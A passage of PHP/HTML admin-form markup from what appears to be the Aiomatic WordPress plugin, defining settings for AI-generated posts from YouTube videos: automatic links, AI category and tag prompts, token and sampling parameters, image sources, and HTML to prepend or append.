'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_youtube_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Category Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post categories from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_youtube_list[auto_categories][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="category_model" name="aiomatic_youtube_list[category_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.</textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select multiple id="default_category" name="aiomatic_youtube_list[default_category][]" class="cr_width_full" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678" selected><?php echo esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_youtube_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_inexist" name="aiomatic_youtube_list[skip_inexist][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Tag Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post tags from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_youtube_list[auto_tags][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="tag_model" name="aiomatic_youtube_list[tag_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_youtube_list[default_tags][]" value="" placeholder="Please insert your additional post tags here" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_tokens][]" value="" placeholder="2048" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_seed_tokens][]" value="" placeholder="1000" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Continue Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_youtube_list[max_continue_tokens][]" value="" placeholder="500" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_youtube_list[temperature][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_youtube_list[top_p][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_youtube_list[presence_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_youtube_list[frequency_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free Featured Image Importing Options' section.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Set A Featured Image For Posts (Select Source Below):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="royalty_free" name="aiomatic_youtube_list[royalty_free][]" class="cr_width_full"> <option value="0"><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("AI Image From Below Selector", 'aiomatic-automatic-ai-content-writer');?></option> <option value="2" selected><?php echo esc_html__("YouTube Video Thumbnail", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition" name="aiomatic_youtube_list[search_query_repetition][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images" onchange="hideImage('');" name="aiomatic_youtube_list[enable_ai_images][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="4"><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="3"><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model" name="aiomatic_youtube_list[image_model][]" class="cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_youtube_list[image_size][]" class="cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_60p" name="aiomatic_youtube_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)"></textarea> <input class="cr_width_33p aiomatic_image_button" type="button" value=">>>"/> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 